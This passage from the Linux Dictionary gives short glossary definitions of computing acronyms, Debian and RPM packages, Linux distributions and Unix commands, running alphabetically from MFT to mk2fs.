<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFT

Master File Table (NTFS) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFT

Multiprogramming with a Fixed number of Tasks (IBM, OS, OS/MFT, OS/MVT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mft

translate Metafont code to TeX code for prettyprinting From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MFV

MehrFrequenzwahlVerfahren From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mfw

Metafont, a language for font and logo design From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MGA

Matrox Graphics Adapter (Matrox) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MGA

Monochrome Graphics Adapter From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgapdesk

X configuration tool for Matrox video card. Configuration tool for Xfree86 version 4.x to set up your X-server to support single and dual monitors. Support for Matrox Millennium G200, G400 and G450 cards. For best operation you should download the Matrox HAL library from the Matrox homepage. But this tool works without it even if it complains because the xserver can not use all config options. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgdiff

xdiff clone mgdiff is modeled after xdiff and provides a nice graphical interface for comparing the contents of two text files. rmgdiff recurses down two directories collating difference information and invoking mgdiff whenever two text files differ. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgetty

Smart Modem getty replacement Mgetty is a versatile program to handle all aspects of a modem under Unix. This package includes basic modem data capabilities. Install mgetty-fax to get the additional functionality for fax. Install mgetty-voice to get the functionality to operate voice modems. Mgetty is also configurable to select programs other than login for special connections (eg: uucico, fido or other programs) depending on the login userid. It also supports caller-id if the modem and phone line supply it, and can deny connections based on originating telephone number. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MGI

Multi-Function Interpreter From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgm

A highly configurable, very gaudy system load meter MGM is the Moaning Goat Meter, a system load monitor along the lines of procmeter3 but much prettier (and with a much higher resource usage). It's written in Perl/Tk, uses a nice antialiased Helvetica font, is configurable with X resource, and can have a larger memory footprint than Emacs. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MGM

Memory Grant Manager (Informix, DB) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgp

MagicPoint- an X11 based presentation tool MagicPoint is an X11 based presentation tool. It is designed to make simple presentations easy while to make complicated presentations possible. Its presentation file (whose suffix is typically .mgp) is just text so that you can create presentation files quickly with your favorite editor (e.g. Emacs). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mgt

a game record display/editor for the oriental game of go Mgt allows the user to examine Go game tree files in the SmartGo format. Mgt also has basic Go game tree editing capabilities and may be used to create or edit game tree files. Mailgo is a utility which manages E-mail Go games using mgt as the Go board editor. It is included in the mgt package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MH

Mobile Host (MHP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MH

Modified Huffman (Fax) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mh-book

MH & nmh: Email for Users & Programmers online book This is the book written by Jerry Peek and published by O'Reilly & Associates, Inc. This book covers MH, nmh, and several interfaces to MH including xmh, exmh and mh-e. This package is a recent snapshot of <http://www.ics.uci.edu/~mh/book/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mh-e

the GNU Emacs front end for MH and nmh mail user agents. This is likely a more recent version of mh-e than the one packaged with the flavor of Emacs you use. It also includes latest version of Info format documentation as well as contributed files that are not distributed with GNU Emacs: mh-alias.el - MH mail alias expansion and substitution. mh-frame.el - Open mh-e in a separate frame. The mh-e web page is <http://mh-e.sourceforge.net/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mhc

Message Harmonized Calendaring system MHC is designed to help those who receive most appointments via email. Using MHC, you can easily import schedule articles from emails. MHC has

following features: + Simple data structure allows you to manipulate stored data in many ways. + Appointments can be made to repeat in flexible ways. + powerful but simple expression of appointments. + Multiple User Interface such as commandline/emacs/GUI/Web. MHC currently has following interfaces: + Elisp package cooperative with Mew, Wanderlust or Gnus (popular MUA in the Emacs world) (emacs/mhc.el) MHC stores schedule articles in the same form of MH; you can manipulate these messages not only by above tools but also by many other MUAs, editors, UNIX commandline tools or your own scripts. For more information, you can find at <http://www.quickhack.net/mhc/> From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MHDL

MIMIC Hardware Description Language From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MHEG

Multimedia and Hypermedia information coding Expert Group (JTC1, ISO) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mhonarc

Mail to HTML converter `_MHonArc_` is a Perl program for converting e-mail messages as specified in RFC 822 and RFC 1521 (`_MIME_`) to HTML. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MICE

Modular Integrated Communications Environment From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mico

A fully compliant CORBA implementation, executables The acronym MICO expands to MICO Is CORBA. The intention of this project is to provide a freely available and fully compliant implementation of the CORBA standard. MICO has become quite popular as an OpenSource project and is widely used for different purposes. As a major milestone, MICO has been branded as CORBA compliant by the OpenGroup. Executables From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MICO

MICO Is CORBA (ORB, CORBA, Uni Frankfurt) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

micq

text based ICQ client with many features mICQ is a small, yet powerful console based ICQ client. It supports password changing, auto-away, creation of new accounts, and other features that makes it a very complete yet simple client. It now has complete support for the new v8 protocol. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

microcodectl

Intel IA32 CPU Microcode Utility The microcode_ctl utility is a companion to the IA32 microcode driver written by Tigran Aivazian <tigran@veritas.com>. The utility has two uses: a) it decodes and sends new microcode to the kernel driver to be uploaded to Intel IA32 family processors. (Pentium Pro, PII, Celeron, PIII, Xeon, Pentium 4 etc.) b) it signals the kernel driver to release any buffers it may hold The microcode update is volatile and needs to be uploaded on each system boot i.e. it doesn't re-flash your CPU permanently, reboot and it reverts back to the old microcode. The ideal place to load microcode is in BIOS, but most vendors never update it! To enable microcode update, I need some kernel support, thus I need the linux kernel 2.2.18 or later, or 2.4.0 or later. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

microkernel

An approach to operating systems design which puts emphasis on small modules which implement the basic features of the system kernel and can be flexibly configured. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MID

Message Identifier (ATM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

midentd

identd replacement with masquerading support. An identd replacement with masquerading support. With your average identd on a masquerading firewall, if an ident request comes in for a masqueraded connection, it will return 'ERROR : NO-USER' or something along those lines. This may be quite irritating at times, with, for example, IRC servers that won't let you in if they don't get a valid ident reply. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIDI

Musical Instruments Digital Interface (MIDI) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIDL

Microsoft Interface Definition Language (NT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Midori

Midori Linux, from Transmeta, is an Open Source project for delivering system software on small devices. It includes a build system, a Linux kernel with memory- and storage-conserving features, and system-level support for normal Linux software on platforms which might otherwise require custom "embedded" applications. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIDP

Mobile Information Device Profile (J2ME) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIDPEG

Mobile Information Device Profile Expert Group (Sun, AOL, Motorola, NEC, Nokia, Palm, Samsung, Sharp, ...) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIF

Module Interconnection Facility (Proteus) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mifluz

A full text inverted indexer The purpose of mifluz is to provide a C++ library to build and query a full text inverted index. It is dynamically updatable, scalable (up to 1Tb indexes), uses a controlled amount of memory, shares index files and memory cache among processes or threads and compresses index files to 50% of the raw data. The structure of the index is configurable at runtime and allows inclusion of relevance ranking information. The query functions do not require to load all the occurrences of a searched term. They consume very few resources and many searches can be run in parallel. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIG

Mach Interface Generator (Mach) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mig-i386-gnu

The GNU distribution of the Mach 3.0 interface generator `MiG'. You need this tool to compile the gnumach and hurd distributions, and to compile GNU libc for the Hurd. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

migemo

Japanese incremental search with Romaji on Emacsen migemo is a tool that supports Japanese incremental search with Romaji. It release you from heavy tasks of Kana Kanji conversion in order to search. This is Emacsen interface, that is wrapper for isearch. <http://migemo.namazu.org/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

migemo-perl

Japanese incremental search with Romaji on Emacsen migemo is a tool that supports Japanese incremental search with Romaji. It release you from heavy tasks of Kana Kanji conversion in order to search. This is Emacsen interface, that is wrapper for isearch. <http://migemo.namazu.org/> This is obsolete version of migemo. Newer version is written in ruby. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

migrationtools

Migration scripts for LDAP The MigrationTools are a set of Perl scripts for migrating users, groups, aliases, hosts, netgroups, networks, protocols, RPCs, and services from existing nameservices (flat files, NIS, and NetInfo) to LDAP. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MII

Media Independent Interface From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mii-diag

A little tool to manipulate network cards Examines and sets the MII registers of network cards. This is a general program. You can find specialized programs for several network cards in the nictools-pci and nictools-nopci packages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mii-tool

view, manipulate media-independent interface status From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mikmod

MikMod is a MOD music file player. MikMod uses the OSS /dev/dsp driver including all recent kernels for output, and will also write .wavfiles. Supported file formats include MOD, STM, S3M, MTM, XM, ULT, and IT. The player uses ncurses for console output. It supports transparent loading from gzip/pkzip/zoo archives and the loading and saving of playlists. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mikmod

Portable tracked music player Mikmod is a very portable tracked music player which supports a wide variety of module formats including compressed sample Impulse Tracker modules. It also supports many archive formats, as well as on the fly decompression. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIL

Matrox Imaging Library From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Miller, Cliff

president and CEO of TurboLinux, a popular Linux distribution. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Miller, David

responsible for the TCP/IP coding in the Linux kernel, David Miller is also responsible for UltraPenguin (a project to port Linux to Sparc CPUs), kernel fixes and developments such as fuzzy hashing. From Linux Guide @FirstLinux

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MILNET

MILitary NETwork (USA, mil., network) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MILOS

Maschinelle Indizierung auf Linguistischer Grundlage fuer OPAC Systeme (OPAC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MILSTAR

Military Strategic TActical Relay (mil., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MILSTD

Military STandarD (mil., USA), "MIL-STD" From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIMD

Multiple Instruction [stream], Multiple Data [stream] (CPU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIME

(Multipurpose Internet Mail Extensions) The protocol for attaching non-text files to email messages (graphics, spreadsheets, formatted text documents, sound files, Quicktime, multimedia files, etc.)

MIME is utilised by some email packages & is universally used by Web Servers to identify the files they are sending to Web Clients. From Faculty-of-Education
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIME

Multipurpose Internet Mail Extensions (RFC 2045/2046/2047/2048/2049, IETF) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIME (Multipurpose Internet Mail Extensions)

Originally a standard for defining the types of files attached to standard Internet mail messages. The MIME standard has come to be used in many situations where one computer programs needs to communicate with another program about what kind of file is being sent. For example, HTML files have a MIME-type of text/html, JPEG files are image/jpeg, etc. From Matisse
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIME encapsulation

Most graphical mail readers have the ability to attach files to mail messages and read these attachments. The way they do this is not with uuencode but in a special format known as MIME encapsulation. MIME (Multipurpose Internet Mail Extensions) is a way of representing multiple files inside a single mail message. The way binary data is handled is similar to uuencode, but in a format known as base64. Each MIME attachment to a mail message has a particular type, known as the MIME type. MIME types merely classify the attached file as an image, an audio clip, a formatted document, or some other type of data. The MIME type is a text tag with the format <major>/<minor>. The major part is called the major MIME type and the minor part is called the minor MIME type. Available major types match all the kinds of files that you would expect to exist. They are usually one of application, audio, image, message, text, or video. The application type means a file format specific to a particular utility. The minor MIME types run into the hundreds. A long list of MIME types can be found in /etc/mime.types. If needed, some useful command-line utilities in the same vein as uuencode can create and extract MIME messages. These are mpack, munpack, and mmencode (or mimencode). From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mime-codecs

Fast Quoted-Printable and BASE64 MIME transport codecs At its most basic MIME is a set of transfer encodings used to ensure error free transport, and a set of content types. VM understands the two standard MIME transport encodings, Quoted-Printable and BASE64, and will decode messages that use them as necessary. VM has Emacs-Lisp based Quoted-Printable and BASE64 encoders and decoders, but you can have VM use external programs to perform these tasks and the process will almost certainly be faster. This package provides external executables for Quoted-Printable and BASE64 encoders and decoders. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mime-construct

construct/send MIME messages from the command line mime-construct constructs and (by default) mails MIME messages. It is entirely driven from the command line, it is designed to be used by other programs, or people who act like programs. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mime-support

MIME files 'mime.types' & 'mailcap', and support programs As these files can be used by all MIME compliant programs, they have been moved into their own package that others can depend upon. Other packages add themselves as viewers/editors/composers/etc by using the provided "update-mime" program. In addition, the commands "see", "edit", "compose", and "print" will display, alter, create, and print (respectively) any file using a program determined from the entries in the mime.types and mailcap files. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mimedecode

Decodes transfer encoded text type mime messages. This program performs the decoding of transfer encoded text type mime messages. The message in its entirety is read from stdin. The decoded message is written to stdout; hence, this program behaves as a filter which may be placed wherever convenient. It is assumed that the message has reached its point of final delivery and at that point 8-bit text types can be handled natively. Hence, the need for transfer-encodings is not present any more. Only some cases are handled: – encoded header fields are decoded from QP or B encoding. – The charset is assumed to be iso-8859-1 – part or subparts of content-type text only are decoded – all other content-types are passed transparently. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mimefilter

Strips some unwanted MIME parts out of a MIME message. This program may be useful as a filter on a mailing list. It strips every unwanted MIME part from a MIME compliant message, warning by email the original author about this, and outputs a MIME compliant cleaned message, to be further processed by a mailing list software. You may find it useful if you don't want certain attachments on your mailing lists, or if you want to allow just the text part from multipart/alternative messages, and so on. You can easily fine tune the list of allowed MIME types to suit your particular needs, using normal Perl regexps. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIMOLA

Machine Independent MicrOprogramming LAnguage (HDL) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIN

Multistage Interconnection Networks From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MINC

Multilingual Internet Names Consortium (org., Internet, DOMAIN) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mindi

Creates boot/root disks based on your system Mindi is a script that creates boot/root disks based on your system. It uses your kernel, modules, tools and libraries. It is use for the Mondo disaster recovery scripts and tools to create the boot CD/disks. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mindi Linux

Mindi builds boot/root disk images using your existing kernel, modules, tools and libraries. Version 0.71_20021109 was released November 10, 2002. Version 0.85 was released May 21, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mindterm

java ssh client that can be used as a web applet Mindterm is a ssh client written in java that can be used as a web applet. This package installs it so it will be available on your web site; users can then ssh into the system from most web browsers that have java support. Warning: By its very nature, installing this package and making it available on your web server constitutes exporting cryptographic software. If you're in a country that does not look kindly on this act, use caution. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mindy

A Dylan interpreter. Mindy is a Dylan bytecode interpreter, originally written as part of CMU's Gwydion Dylan project. It compiles faster than d2c and includes much better debugging tools. Unfortunately, Mindy makes no attempt to run fast. Documentation for Mindy can be found in the main gwydion-dylan package, or on the web at <<http://www.gwydiondylan.org/>>. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minfo

print the parameters of a MSDOS filesystem TQ From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mingetty

The mingetty program is a lightweight, minimalist getty program for use only on virtual consoles. Mingetty is not suitable for serial lines (you should use the mgetty program instead for that purpose). From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mingw32

Minimalist GNU win32 (cross) compiler A Linux hosted, win32 target, cross compiler for C/C++ Freedom through obsolescence. Those who still really need to can now build windows executables from the comfort of Debian. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mingw32-runtime

Minimalist GNU win32 (cross) compiler runtime This package contains the target runtime files for a Linux hosted, win32 target, C/C++ cross compiler. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minicom

Clone of the MS-DOS "Telix" communications program. Minicom is a menu driven communications program. It emulates ANSI and VT102 terminals. It has a dialing directory and auto zmodem download. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minicom

friendly serial communication program From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minicom

Minicom is a simple text-based modem control and terminal emulation program somewhat similar to MSDOS Telix. Minicom includes a dialing directory, full ANSI and VT100 emulation, an (external) scripting language, and other features. From Redhat 8.0 RPM
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minilinux

MiniLinux is for Hams (Ham Radio). There do not appear to be recent updates, the latest is v2.2.15b 8.V.2000. Distribution development is not all that active. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minimalist

a MINImalist MAiling LIST manager Minimalist is a MINImalist MAiling LIST manager. It is fast, extremely easy to setup and support. Minimalist has these features: – subscribing/unsubscribing users by request – several levels of security – additional services such as information about list, archiving lists, information about users of list and so on – support for read-only/closed/mandatory lists – support for Blacklist – logging activity Minimalist has also a notion of 'trusted users'. They have full rights to subscribe/unsubscribe other users; get any information related to lists and users. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MINISTREL

Models for INformatIon SStorage and RETrieval (OA, BIS, ESPRIT) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mini_commander_applet

Mini-Commander Applet for the GNOME panel. From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

minpack1

nonlinear equations and nonlinear least squares shared library Minpack includes software for solving nonlinear equations and nonlinear least squares problems. Five algorithmic paths each include a core subroutine and an easy-to-use driver. The algorithms proceed either from an analytic specification of the Jacobian matrix or directly from the problem functions. The paths include facilities for systems of equations with a banded Jacobian matrix, for least squares problems with a large amount of data, and

for checking the consistency of the Jacobian matrix with the functions. This package provides the shared library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MINT

Mint is Not TOS (Atari), "MiNT" From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MINT

MIR

Maximum Information Rate From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIR

Micro-Instruction Register (IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Miracle Linux

Miracle Linux is a high reliability, scalability and availability server OS for the enterprise market, according to MIRACLE LINUX CORPORATION, the developer of the distribution. MIRACLE LINUX CORPORATION was originally founded by Oracle Corporation Japan. (Currently Oracle Japan owns about 60% of MIRACLE LINUX.) They offer not only "MIRACLE LINUX with Oracle," but also "MIRACLE LINUX for Samba" and "MIRACLE LINUX for PostgreSQL." Japanese distribution From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mird1

Mird database library (runtime files) Mird is a database library, for operating on simple disk-based databases. This package contains files necessary for running applications that use Mird database From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mirror

Generally speaking, "to mirror" is to maintain an exact copy of something. Probably the most common use of the term on the Internet refers to "mirror sites" which are web sites, or FTP sites that maintain copies of material originated at another location, usually in order to provide more

widespread access to the resource. For example, one site might create a library of software, and 5 other sites might maintain mirrors of that library. From Matisse

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mirror

Keeps FTP archives up-to-date Mirror uses the FTP protocol to locally duplicate remote host files and directories selected with Perl regular expressions. By default transfers only files missing locally or whose remote sizes or time-stamps have changed. Can reduce directory download using compressed listings in ls-lR.gz files or further using compressed differences of daily listings in ls-lR.patch.gz files. Amongst many flexible options it can gzip and split files. Tracks large distant FTP archives accurately with low download volume. Simpler programs like "mirrordir" use less memory and may copy directory trees faster between local machines. From mirror.tar.gz 2.9 in Perl by Lee McLoughlin. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mirrordir

duplicate a directory by making a minimal set of changes mirrordir forces the mirror directory to be an exact replica of the control directory tree in every possible detail suitable for purposes of timed backup. Files whose modification times or sizes differ are copied. File permissions, ownerships, modification times, access times, and sticky bits are duplicated. Devices, pipes, and symbolic and hard links are duplicated. Files or directories that exist in the mirror directory that don't exist in the control directory are deleted. It naturally descends into subdirectories to all their depths. mirrordir tries to be as efficient as possible by making the minimal set of changes necessary to mirror the directory. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mirrordir

Easy to use ftp mirroring package – simply use `usemirrordir ftp://some.where.com/dir /some/local/dir`

From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mirrormagic

Shoot around obstacles to collect energy using your beam. A game like "Deflektor" (C 64) or "Mindbender" (Amiga). The goal is to work out how to get around obstacles to shoot energy containers with your beam, enabling the path to the next level to be opened. Included are many levels known from the games "Deflektor" and "Mindbender". Some features: – stereo sound effects and music – music module support for SDL version (Unix/Win32) – fullscreen support for SDL version (Unix/Win32) – complete source code included under GNU GPL From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIS

Management Information System From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIS

Mega Iterations per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

miscfiles

Dictionaries and other interesting files. These files are not crucial to system administration or operation, but which have come to be common on various systems over the years. They originated from various sources and are freely redistributable (see the copyright file for more information). These files include those of general interest (English `connectives', Webster's Second International English wordlist, traditional stone and flower for each month, Precedence table for operators in the C language, description of the ISO Latin-1 character set, two-letter codes for languages, from ISO 639, International country telephone codes, geographic coordinates of many major cities, Some common abbreviations used in electronic communication, GNU tasks and mailing lists, country and currency abbreviations, rfc-index, etc.). There also is information specific to the United States (List of three letter codes for some major airports, North American (+1) telephone area codes, postal codes for US and Mexican states and Canadian provinces, the Constitution of the United States of America, the Declaration of Independence of the Thirteen Colonies). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

miscutils

obsolete utilities package miscutils is an obsolete package and may be removed safely. miscutils was replaced by the following packages: getty, login, util-linux, update, fdutils, debianutils, passwd. Since fdutils is not required, it must be installed separately. After this version miscutils is installed, it is safe and desirable to purge miscutils. If miscutils is purged while it still has conffiles, then important conffiles may be lost. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MISD

Multiple Instruction [stream], Single Data [stream] (CPU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MISS

Mecklenburg Internet Service System (ISP) From VERA

MISSI

Multilevel Information System Security Initiative (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mission critical

Describes a system that is absolutely necessary. It comes from NASA where mission critical elements were those items that had to work otherwise the billion dollar space mission would blow up. Key point: A big problem with corporations is that they do not spend enough time hardening mission critical applications, or spend too much effort on non-mission critical elements. From

Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MISX

Metered Services Information eXchange (Internet) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIT

Management Information Tree From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIT

Massachusetts Institute of Technology (org., USA) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mit-scheme

The MIT Scheme development environment MIT Scheme is an implementation of the Scheme programming language, providing an interpreter, compiler, source-code debugger, integrated Emacs-like editor, and a large runtime library. MIT Scheme is best suited to programming large applications with a rapid development cycle. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIT-SHM

A MIT shared-memory Ximage \ref {X extension}. It provides both shared memory XImages and shared memory pixmapes based on the SYSV shared memory primitives. From Linux Guide

@FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mixal

A MIX emulator and MIXAL interpreter Mixal is an implementation of the imaginary computer called MIX and its assembly language MIXAL, which were invented by Donald E. Knuth in the 1960's for use in his monumental and yet unfinished book series "The Art of Computer Programming". All actual programs and all programming exercises in the series are written in MIXAL. This package contains a modified version of Darius Bacon's Mixal implementation. It takes a MIXAL source file, translates it to MIX machine code and then executes the resulting program, all in a single run. The result of the assembler step cannot be extracted to a file. Similarly, one cannot take a precompiled MIX program and try to execute it in this emulator – only MIXAL source is

accepted. The MIX emulator does not support floating-point operations nor the tape devices described in Knuth's book. This is not fatal, however, and most of the programs and exercise answers in Knuth's book can be run in this MIXAL implementation. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mixer.app

Another mixer application designed for WindowMaker There's nothing in the program that makes it *require* WindowMaker, except maybe the look. Mixer.app is a mixer utility for Linux systems. Requires /dev/mixer to work. Provides three customizable controls on a tiny 64x64 app. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mixer_applet

Mixer Applet for the GNOME panel. From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MIZI Linux

MIZI Linux is a Korean distribution. Version 2.0 was released October 19, 2001. MIZI the company also provides Linu, which can be found in the Embedded section of this list. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MJ

Modular Jack From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkboot

makes a bootdisk From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkbootdisk

The mkbootdisk program creates a standalone boot floppy disk for booting the running system. The created boot disk will look for the root filesystem on the device mentioned in /etc/fstab and includes an initial ramdisk image which will load any necessary SCSI modules for the system. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

MkCDrec

mkCDrec makes a bootable disaster recovery image (CDrec.iso), including backups of the Linux system to the same CD-ROM (or CD-RW) if space permits, or to a multi-volume CD-ROM set. Otherwise, the backups can be stored on another local disk, NFS disk or (remote) tape. After a disaster (disk crash or system intrusion) the system can be booted from the CD-ROM and one can restore the complete system as it was (at the time mkCDrec was run). From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkcfm

create summaries of font metric files in CID font directories From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkcramfs

Make a CramFs (Compressed ROM File System) mkcramfs lets you construct a CramFs (Compressed ROM File System) image from the contents of a given directory. Cram file systems are used for Debian INITRD images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkdir

create a directory From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkdir

creates directories with the specified names. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkdir

make directories From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Mkdir

The Unix command to create a new directory. From KADOWKEV <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mkdirhier

makes a directory hierarchy From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

mk2fs

create a Linux second extended file system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

